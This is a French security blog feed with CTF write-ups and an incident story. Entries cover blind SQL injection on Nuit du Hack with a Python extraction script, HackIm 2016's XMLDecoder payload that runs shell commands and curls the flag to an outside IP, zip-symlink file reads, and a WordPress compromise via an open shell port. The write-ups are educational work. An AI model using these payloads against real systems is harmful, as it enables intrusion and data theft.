<p>Qu'à cela ne tienne, on passe donc par des heavy query !</p> <p>On récupère plein de fois information_schema pour faire ramer la page et... information_schema est bloqué aussi ?!</p> <p><img src="https://www.dailysecurity.fr/images/imdone.gif" alt="Im done" style="width: 50%;"/> </p> <p>Je décide donc d'aller me coucher sur un échec. Ce fut à la fois une bonne et une mauvaise idée :</p> <ul> <li> <p>J'ai trouvé la réponse dans la nuit</p> </li> <li> <p>Je n'ai pas dormi avant de l'avoir trouvée</p> </li> </ul> <p>De retour le lendemain <s>matin</s> après-midi, je décide de tenter ma trouvaille :</p> <p>Une SQL injection Boolean Based Into Double Error Based (oui, j'ai inventé le nom, mais ça en jette non?).</p> <p>J'explique, on va tenter de faire passer une condition dans notre extractvalue, si cette condition est vraie on lui fait faire un convert(9990130101,date), la date étant complétement fausse la fonction plante et retourne NULL, sinon, on retourne 1.</p> <p>Ce qu'il faut savoir, c'est que la procédure ANALYSE n'aime pas avoir un paramètre à NULL, elle crash donc un message d'<a href="http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html#error_er_wrong_parameters_to_procedure">erreur 1108</a> qui signifie "Message: Incorrect parameters to procedure '%s'"</p> <p>En revanche si on lui envoie 1 en premier paramètre elle nous renvoie juste une erreur <a href="http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html#error_er_unknown_error">1105</a> : "Message: Unknown error"</p> <p>On peut tester avec:</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)=1) then convert(9990130101,date) else 1 end)))),1)--</p> </blockquote> <p>J'ai remplacé les %0a par des espaces pour un souci de compréhension.</p> <p><img src="https://www.dailysecurity.fr/images/SpaceSec_Error1108-1.png" alt="Error1108" style="width: 60%;"></p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)!=1) then convert(9990130101,date) else 1 end)))),1)--</p> </blockquote> <p><img src="https://www.dailysecurity.fr/images/SpaceSec_Error1105.png" alt="Error1105" style="width: 60%;"></p> <p>A partir de là on peut tout simplement récupérer le mot de passe de l'utilisateur Flag dans la base de données.</p> <p>Je vous épargne le temps afin de trouver la bonne table avec les bonnes colonnes (totalement au hasard).</p> <p>Au final, on trouve une table users avec les colonnes id, username et password.</p> <p>Ni une, ni deux, on code un petit script qui récupère tout ça.</p> <p>Ayant une petite dent contre la programmation, je vous présente mon modeste script qui n'est pas optimisé mais qui fait le taf' :</p> <div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python2</span> <span class="c1"># -*- coding: utf8 -*-</span> <span class="kn">import</span> <span class="nn">requests</span><span class="o">,</span><span class="nn">time</span> <span class="n">cookie</span> <span class="o">=</span> <span class="p">{</span><span class="s1">&#39;PHPSESSID&#39;</span> <span class="p">:</span> <span class="s1">&#39;cl4r4m0rg4ne1sg00dbUt1pr3f3r3L3xiB3ll3&#39;</span><span class="p">}</span> <span class="n">passwd</span><span class="o">=</span><span class="s2">&quot;&quot;</span> <span class="n">char</span><span class="o">=</span><span class="mi">48</span> <span class="n">length</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span> <span class="k">while</span> <span class="n">char</span><span class="o">!=</span><span class="mi">127</span><span class="p">:</span> <span class="n">forge</span><span class="o">=</span><span class="s2">&quot;http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(%0a(selEct%0aexTractvalue%0a(rAnd%0a(),coNcat%0a(0x3a,%0a(case%0awhen%0a(substring(%0a(selEct%0apassword%0afRom%0ausers%0awHere%0ausername%0aliKe%0a0x464c4147),&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">length</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot;,1)=char(&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">char</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot;))%0athen%0aconvert(9990130101,date)%0aelse%0a1%0aend)))),1)--&quot;</span> <span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">forge</span><span class="p">,</span><span class="n">cookies</span><span class="o">=</span><span class="n">cookie</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="k">print</span> <span class="n">forge</span> <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span> <span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">&#39;1108&#39;</span><span class="p">)</span><span class="o">!=-</span><span class="mi">1</span> <span class="p">:</span> <span class="n">passwd</span><span class="o">+=</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span> <span class="n">char</span><span class="o">=</span><span class="mi">47</span> <span class="n">length</span><span class="o">+=</span><span class="mi">1</span> <span class="k">print</span> <span class="n">passwd</span> <span class="n">char</span><span class="o">+=</span><span class="mi">1</span> <span class="k">print</span> <span class="s2">&quot;[+] Le password est: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span> </pre></div> <p>On obtient un mot de passe qui ressemble à un hash de 128 caractères en majuscule.</p> <p>La partie rigolote de l'histoire est que j'ai cherché pendant une bonne demi-heure quoi en faire et au final Mastho, un membre de mon équipe, l'a valider en 5 secondes en m'expliquant qu'il avait juste mis le hash en minuscule...</p> <p>En définitive, une épreuve bien marrante avec des protections assez funs.</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>HackIm 2016 - Web100 / Web400 - Write-Up2016-02-03T15:06:00+01:002016-02-03T15:06:00+01:00Geluchattag:www.dailysecurity.fr,2016-02-03:/write-up-hackim-web100-web400<p>J'ai dernièrement participé avec mon équipe au HackIm, un CTF organisé par la <a href="http://nullcon.net">NullCon</a>.</p> <p>Malgré une organisation catastrophique ainsi que des épreuves de type "devinette", ce CTF nous a proposé des challenges très intéressants dans les catégories Web et Exploitation.</p> <p>Voici donc un write-up de deux épreuves web que j'ai …</p><p>J'ai dernièrement participé avec mon équipe au HackIm, un CTF organisé par la <a href="http://nullcon.net">NullCon</a>.</p> <p>Malgré une organisation catastrophique ainsi que des épreuves de type "devinette", ce CTF nous a proposé des challenges très intéressants dans les catégories Web et Exploitation.</p> <p>Voici donc un write-up de deux épreuves web que j'ai trouvées enrichissantes.</p> <h3>Web 100 - SignServer 100 pts</h3> <blockquote> <p>Document signature is so hot right now! SignServer provides you with the most advanced solution to sign and verify your documents. We support any document types and provide you with a unique, ultra-secure signature. http://54.174.72.79:9000</p> </blockquote> <p>Arrivé à l'adresse indiquée nous avons accès à deux services, l'un qui nous permet de signer et l'autre de vérifier une signature.</p> <p>En envoyant un fichier au hasard (on évite celui qui contient nos mots de passe), on obtient:</p> <div class="highlight"><pre><span></span><span class="nt">&lt;java</span> <span class="na">version=</span><span class="s">&quot;1.8.0_72-internal&quot;</span> <span class="na">class=</span><span class="s">&quot;java.beans.XMLDecoder&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">id=</span><span class="s">&quot;CTFSignature0&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">method=</span><span class="s">&quot;getField&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>hash<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;set&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">idref=</span><span class="s">&quot;CTFSignature0&quot;</span> <span class="nt">/&gt;</span> <span class="nt">&lt;string&gt;</span>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">method=</span><span class="s">&quot;getField&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>sig<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;set&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">idref=</span><span class="s">&quot;CTFSignature0&quot;</span> <span class="nt">/&gt;</span> <span class="nt">&lt;string&gt;</span>902d4de8fb705154a1a0107c227b9d510523fa17<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/object&gt;</span> <span class="nt">&lt;/java&gt;</span> </pre></div> <p>On peut voir que l'objet a été sérialisé en XML et passe dans la moulinette "XML Decoder".</p> <p>Après quelques recherches sur cette méthode, <a href="https://github.com/o2platform/DefCon_RESTing/tree/master/Demo /_O2_Scripts/XmlEncoder%20-%20Restlet/exploits">on apprend</a> qu'elle peut prendre plusieurs objets en même temps.</p> <p>La méthode ProcessBuilder sur package java.lang nous permet de faire appel à des commandes systèmes.</p> <p>On envoie donc avec l'option signature cochée :</p> <div class="highlight"><pre><span></span><span class="nt">&lt;java</span> <span class="na">version=</span><span class="s">&quot;1.8.0_72-internal&quot;</span> <span class="na">class=</span><span class="s">&quot;java.beans.XMLDecoder&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">id=</span><span class="s">&quot;CTFSignature0&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">method=</span><span class="s">&quot;getField&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>hash<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;set&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">idref=</span><span class="s">&quot;CTFSignature0&quot;</span> <span class="nt">/&gt;</span> <span class="nt">&lt;string&gt;</span>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">&quot;models.CTFSignature&quot;</span> <span class="na">method=</span><span class="s">&quot;getField&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>sig<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;set&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;object</span> <span class="na">idref=</span><span class="s">&quot;CTFSignature0&quot;</span> <span class="nt">/&gt;</span> <span class="nt">&lt;string&gt;</span>902d4de8fb705154a1a0107c227b9d510523fa17<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/object&gt;</span> <span class="nt">&lt;object</span> <span class="na">class=</span><span class="s">&quot;java.lang.ProcessBuilder&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;array</span> <span class="na">class=</span><span class="s">&quot;java.lang.String&quot;</span> <span class="na">length=</span><span class="s">&quot;3&quot;</span> <span class="nt">&gt;</span> <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">&quot;0&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>/bin/sh<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">&quot;1&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>-c<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;void</span> <span class="na">index=</span><span class="s">&quot;2&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;string&gt;</span>/bin/cat flag | /usr/bin/tee /tmp/res;/usr/bin/curl 195.154.70.52:4444/1 --data &quot;@/tmp/res&quot;<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/void&gt;</span> <span class="nt">&lt;/array&gt;</span> <span class="nt">&lt;void</span> <span class="na">method=</span><span class="s">&quot;start&quot;</span><span class="nt">/&gt;</span> <span class="nt">&lt;/object&gt;</span> <span class="nt">&lt;/java&gt;</span> </pre></div> <p>En essayant de créer des commandes j'ai rencontré un problème avec les redirections ('\&lt;','>'), c'est pourquoi ma commande pour extraire le flag est plus complexe qu'un simple reverse shell.</p> <div class="highlight"><pre><span></span><span class="go">nc -lvp 4444</span> <span class="go">listening on [any] 4444 ...</span> <span class="go">connect to [195.154.70.52] from ec2...</span> <span class="go">flag{ser1l1azati0n_in_CTF_is_fUN}</span> </pre></div> <h3>Web 400 - smashthestate 400 pts</h3> <blockquote> <p>This beautiful website for testing zip files contains a replica of a vulnerability found in a well known bug bounty site. Log in with rob:smashthestate then exploit the vulnerability to gain access to the 'admin' account and the flag. Automated tools and bruteforcing will not help you solve this challenge. http://54.152.101.3</p> </blockquote> <p>En arrivant sur le challenge, on voit un formulaire de connexion ainsi qu'une page qui nous propose de générer un code envoyé par email à l'administrateur.</p> <p>Après connexion avec l'utilisateur indiqué rob:smashthestate, on se trouve face à un formulaire d'upload qui prend une archive zip.</p> <p>On envoie donc un fichier zipé au hasard et on observe que le fichier a été dezippé puis affiché.</p> <p>Les archives zip sont connues pour être faillibles aux attaques par symlink, on peut donc récupérer le code source de la page :</p> <div class="highlight"><pre><span></span><span class="go">ln -s /var/www/html/index.php link</span> <span class="go">zip –symlinks test.zip link</span> </pre></div> <p>Ce qui donne:</p> <div class="highlight"><pre><span></span><span class="nv">$FAKE_DATABASE</span> <span class="o">=</span> <span class="k">array</span> <span class="p">(</span> <span class="s2">&quot;rob&quot;</span> <span class="o">=&gt;</span> <span class="s2">&quot;60df0ab1a78fd0d95a4cfa4b0854931b&quot;</span><span class="p">,</span> <span class="c1">// smashthestate</span> <span class="s2">&quot;admin&quot;</span> <span class="o">=&gt;</span> <span class="s2">&quot;8e11a50ef762f924d7af9995889873e4&quot;</span><span class="p">,</span> <span class="p">);</span> <span class="nv">$page</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;page&#39;</span><span class="p">];</span> <span class="k">switch</span> <span class="p">(</span><span class="nv">$page</span><span class="p">)</span> <span class="p">{</span> <span class="k">case</span> <span class="s2">&quot;login&quot;</span><span class="o">:</span> <span class="k">echo</span> <span class="s2">&quot;trying to log in&quot;</span><span class="p">;</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">];</span> <span class="nv">$pass</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$FAKE_DATABASE</span><span class="p">[</span><span class="nv">$user</span><span class="p">]</span> <span class="o">===</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$pass</span><span class="p">))</span> <span class="p">{</span> <span class="nb">session_start</span><span class="p">();</span> <span class="nb">session_regenerate_id</span><span class="p">(</span><span class="k">True</span><span class="p">);</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user</span><span class="p">;</span> <span class="nb">header</span><span class="p">(</span><span class="s2">&quot;Location: ?page=upload&quot;</span><span class="p">);</span> <span class="k">die</span><span class="p">();</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s2">&quot;Location: ?&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="s2">&quot;admin_login_help&quot;</span><span class="o">:</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;login_code&#39;</span><span class="p">])</span> <span class="p">){</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;login_code&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nb">bin2hex</span><span class="p">(</span><span class="nb">openssl_random_pseudo_bytes</span><span class="p">(</span><span class="mi">18</span><span class="p">));</span> <span class="k">echo</span> <span class="s2">&quot;A login code has been emailed to the administrator. Once you have recieved it, please click here</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;There is already an active login code for this session&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="s2">&quot;code_submit&quot;</span><span class="o">:</span> <span class="nb">session_start</span><span class="p">();</span> <span class="nv">$code</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;code&#39;</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$code</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;login_code&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$code</span> <span class="o">===</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;login_code&#39;</span><span class="p">]</span> <span class="p">){</span> <span class="k">echo</span> <span class="s2">&quot;Flag: &quot;</span><span class="p">;</span> <span class="nb">passthru</span><span class="p">(</span><span class="s2">&quot;sudo /bin/cat /var/www/html/flag&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Invalid code&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Please input the login code:&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="s2">&quot;upload&quot;</span><span class="o">:</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s2">&quot;Location: ?&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Welcome &quot;</span><span class="o">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]</span> <span class="o">.</span><span class="s2">&quot; Logout&quot;</span><span class="p">;</span> <span class="k">echo</span> <span class="s2">&quot;Use this form to verify zip integrity&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="s2">&quot;process_upload&quot;</span><span class="o">:</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;zipfile&#39;</span><span class="p">][</span><span class="s1">&#39;name&#39;</span><span class="p">])</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;zipfile&#39;</span><span class="p">][</span><span class="s1">&#39;size&#39;</span><span class="p">]</span> <span class="o">&gt;</span> <span class="mi">16000</span><span class="p">)</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;File above max size of 10kb&quot;</span><span class="p">;</span> <span class="k">echo</span> <span class="s2">&quot;back&quot;</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> <span class="nv">$tmp_file</span> <span class="o">=</span> <span class="s1">&#39;/var/www/html/tmp/upload_&#39;</span><span class="o">.</span><span class="nb">session_id</span><span class="p">();</span> <span class="c1"># ZipArchive may not be available</span> <span class="c1"># $zip = new ZipArchive;</span> <span class="c1"># $zip-&gt;open($_FILES[&#39;zipfile&#39;][&#39;name&#39;]);</span> <span class="c1"># $zip-&gt;extractTo($tmp_file);</span> <span class="nb">exec</span><span class="p">(</span><span class="s1">&#39;unzip -o &#39;</span><span class="o">.</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">&#39;zipfile&#39;</span><span class="p">][</span><span class="s1">&#39;tmp_name&#39;</span><span class="p">]</span><span class="o">.</span> <span class="s1">&#39; -d &#39;</span><span class="o">.</span><span class="nv">$tmp_file</span><span class="p">);</span> <span class="k">echo</span> <span class="s2">&quot;Zip contents: &quot;</span><span class="p">;</span> <span class="nb">passthru</span><span class="p">(</span><span class="s2">&quot;cat </span><span class="si">$tmp_file</span><span class="s2">/* 2&gt;&amp;1&quot;</span><span class="p">);</span> <span class="nb">exec</span><span class="p">(</span><span class="s2">&quot;rm -rf </span><span class="si">$tmp_file</span><span class="s2">&quot;</span><span class="p">);</span> <span class="k">echo</span> <span class="s2">&quot;back&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">break</span><span class="p">;</span> <span class="k">default</span><span class="o">:</span> <span class="k">echo</span> <span class="s2">&quot;&lt;html&gt;&lt;form action=&#39;?page=login&#39; method=&#39;POST&#39;&gt;Username: &lt;input name=&#39;user&#39;/&gt;&lt;br/&gt;Password: &lt;input type=&#39;password&#39; name=&#39;pass&#39;/&gt;&lt;br/&gt;&lt;input type=&#39;submit&#39; value=&#39;Log in&#39;/&gt;&lt;/form&gt;&lt;a href=&#39;?page=admin_login_help&#39;&gt;Admin login help&lt;/a&gt;&lt;/html&gt;&quot;</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> </pre></div> <p>Dans la page, le flag est affiché si notre code généré correspond à la bonne valeur.</p> <p>Grâce à la faille précédente on récupère notre cookie de session via les commandes :</p> <div class="highlight"><pre><span></span><span class="go">ln -s /var/lib/php5/sess_71kl18mrbua52acd91jceqmrs4 link</span> <span class="go">zip –-symlinks test.zip link</span> </pre></div> <p>Une fois le code affiché il ne reste plus qu'à le mettre dans le formulaire de validation qui nous donne le flag :</p> <div class="highlight"><pre><span></span><span class="go">Flag: 8e11a50ef762f924d7af9995889873e4</span> </pre></div> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Comment pirater un WordPress, ou pas...2015-05-12T13:04:00+02:002015-05-12T13:04:00+02:00Geluchattag:www.dailysecurity.fr,2015-05-12:/comment-pirater-un-wordpress<p>Je ne sais pas si vous l'avez remarqué, mais il y a une semaine mon site était indisponible en raison d'une maintenance.</p> <p>Tout a débuté le 1er Mai, je me rends comme chaque jour sur mon site pour les mises à jour quotidiennes et c'est alors qu'apparaît une belle deface …</p><p>Je ne sais pas si vous l'avez remarqué, mais il y a une semaine mon site était indisponible en raison d'une maintenance.</p> <p>Tout a débuté le 1er Mai, je me rends comme chaque jour sur mon site pour les mises à jour quotidiennes et c'est alors qu'apparaît une belle deface (modification de la page d'accueil du site) faite par un groupe de h4x0r avec un message dans un anglais approximatif "Ure security is bad, go patch, blabla" ainsi qu'une petite mention disant que payer un hébergeur ne veut pas dire que l'on est en sécurité.</p> <p>Sur le coup, j'imagine que l'un de mes plugins n'a pas été mis à jour et j'accuse le coup en me disant qu'après tout, ce n'est qu'un Wordpress.</p> <p>Après une analyse un peu plus approfondie des logs j'en viens à une conclusion étrange : il semblerait qu'ils se soient tous simplement connectés avec mon compte administrateur.</p> <p>Hop, je lance un scan antivirus sur mon PC, rien n'est détecté, même pas le moindre logiciel espion, pas un faux positif, rien.</p> <p>J'en viens à penser que c'est peut-être une 0day mais le souvenir de la tête de mort sur la deface ainsi que les pseudos du type xXxD4rkAng3lxXx me rappellent vite que la faille ne doit pas être bien compliquée.</p> <p>Je reçois plusieurs messages via IRC et Skype, un de mes amis m'a même conseillé en rigolant de lancer un armitage auto_pwn, je décide de rester plus calme en lançant un scan Nikto classique ainsi qu'une analyse des plugins Wordpress, peut être que quelque chose m'aurait échappé ...</p> <p>C'est alors qu'une personne fort sympathique m'a contacté sur IRC pour me souhaiter bonne chance pour la remise en place de mon site. En discutant avec celle-ci, j'apprends que le port 31337 est ouvert sur le serveur qui m'héberge.</p> <p>J'en viens alors à deux hypothèses remplies de questions :</p> <ol> <li>Ce shell vient-il de mon site?</li> <li>S'il n'est pas à moi que fait-il là ? Et quels sont ses droits sur le serveur ?</li> </ol> <p>Afin de satisfaire ma curiosité je décide de m'y connecter, sachant que mon hébergeur mutualisé est lié au domaine snip.snap (ce n'est pas le domaine réel), je lance un petit :</p> <div class="highlight"><pre><span></span><span class="gp">$</span> nc snip.snap <span class="m">31337</span>. </pre></div> <p>Je vérifie l'id, il correspond au compte "touspour".</p> <p><img alt="Command id Pulseheberg" src="https://www.dailysecurity.fr/images/id.png"></p> <p>Et là, descente en enfer, encore une fois les mêmes questions : "Quels sont ses droits sur le serveur ? Que fait-il là ?".</p> <p>Pour la deuxième question il faudra que je demande au support de mon hébergeur, je décide donc de chercher la réponse à la première question.</p> <h2>Quels sont ses droits sur le serveur?</h2> <p>Quelques commandes me permettent de voir que je ne suis de toute évidence pas doté de droits root, ouf.</p> <p>Grâce à un affichage de /etc/passwd je vois qu'un compte est créé pour chaque nouvel utilisateur.</p> <p>Niveau sécurité, ça n'a pas l'air au top niveau mais au moins je ne peux pas me déplacer dans les dossiers des autres personnes.</p> <p>Enfin, ça, c'était avant le drame ...</p> <p>Toujours dans le but final de découvrir comment mon site a pu être piraté par notre chère Dr34mT34m, je lance à tout hasard un listing des répertoires via le shell sur mon répertoire à priori privé :</p> <p><img alt="Listing directory dailysecurity" src="https://www.dailysecurity.fr/images/listing.png"></p> <p>Et là, horreur, on ne peut pas se déplacer dans les répertoires mais on peut les lister.</p> <p>Je rentre la commande :</p> <div class="highlight"><pre><span></span><span class="gp">$</span> cat /home/dailysec/public_html/wp-config.php </pre></div> <p>Des gouttes de sueurs commencent à perler sur mon front quand je vois apparaître :</p> <p><img alt="Base de données Wordpress" src="https://www.dailysecurity.fr/images/bdd.png"></p> <p>A partir de ce moment, je choisis de me connecter sur le port 3306 (MySQL) et un beau OPEN se peint devant mes yeux.</p> <p>L'attaque devient alors claire:</p> <ul> <li>On se connecte sur le port 31337</li> <li>On récupère les logins MySQL</li> <li>On se connecte et on modifie le mot de passe administrateur WordPress</li> <li>On peut upload un shell dans les templates ou juste via l'upload</li> <li>Enjoy your shell ...</li> </ul> <h2>Que fait-il là?</h2> <p>Bonne question, pour y répondre j'ai dû batailler avec le support de Pulseheberg qui m'a envoyé balader :</p> <p><img alt="Message PulseHeberg" src="https://www.dailysecurity.fr/images/message.png"></p> <p>Etant une personne très patiente et dotée d'un sens du sarcasme assez poussé, je lui ai bien sûr répondu :</p> <blockquote> <p>"Étonnamment quand je fais un 'nc snip.snap 31337' j'obtiens un shell console. Vos audits de sécurités sont-ils sélectifs dans le genre "on laisse le port 31337 ouvert, ça fait classe" ? Je dis bien sûr tout ça avec le plus grand des humours mais ça me reste tout de même en travers de la gorge ..."</p> </blockquote> <p>Le tout accompagné des screenshots présents dans l'article.</p> <p>Ma réponse n'a pas dû plaire au "Développeur en chef" puisque c'est une autre personne qui m'a répondu que la faille était "patchée" et "bloquée niveau firewall".</p> <p>Je cherche à en savoir plus sur l'origine de ce shell et j'obtiens une réponse pour le moins originale :</p> <blockquote> <p>"Le port avait été ouvert lors d'une très ancienne intervention et n'avait pas été fermé correctement."</p> </blockquote> <p>De toute évidence ma réponse au "Développeur en chef" avait tapé dans le mille : les pseudos audits de sécurité quotidiens n'avaient pas vu le port 31337 ouvert.</p> <p>Pire, le firewall semblait être un firewall à DROP.</p> <p>Pour ceux qui ne connaissent pas les firewalls à DROP sachez que cela correspond grossièrement à ajouter des règles interdisant d'ouvrir tel ou tel port, ce qui n'est absolument pas sécurisé.</p> <h2>Retour d'expérience chez PulseHeberg</h2> <p>Avant d'en venir à des conclusions hâtives, je souhaiterais vous éclairer sur les points essentiels de mon ressenti sur "l'expérience Pulseheberg".</p> <p>Lors de mon inscription, j'ai commandé un VPS afin de gérer moi-même la sécurité du serveur.</p> <p>La livraison s'est déroulée sans encombre. Par contre, mes 8 Go de RAM allouée ne semblaient pas correspondre au résultat fourni par la commande "free" qui m'indiquait 8To.</p> <p>J'ai appris plus tard qu'ils avaient mal configuré la VM.</p> <p>Je me demande ce que cela aurait fait si j'avais mis à profit ces 8To, sûrement une coupure générale de toutes les VM du parc.</p> <p>Au bout d'un mois, le serveur ne répondait plus, même via ssh, en tant "qu'administrateur de VPS du weekend" et avec ma confiance en moi légendaire, j'ai pensé à une erreur de ma part, personne n'est infaillible.</p> <p>J'ai donc totalement réinstallé le serveur et le problème a persisté. Après trois tickets au support, il 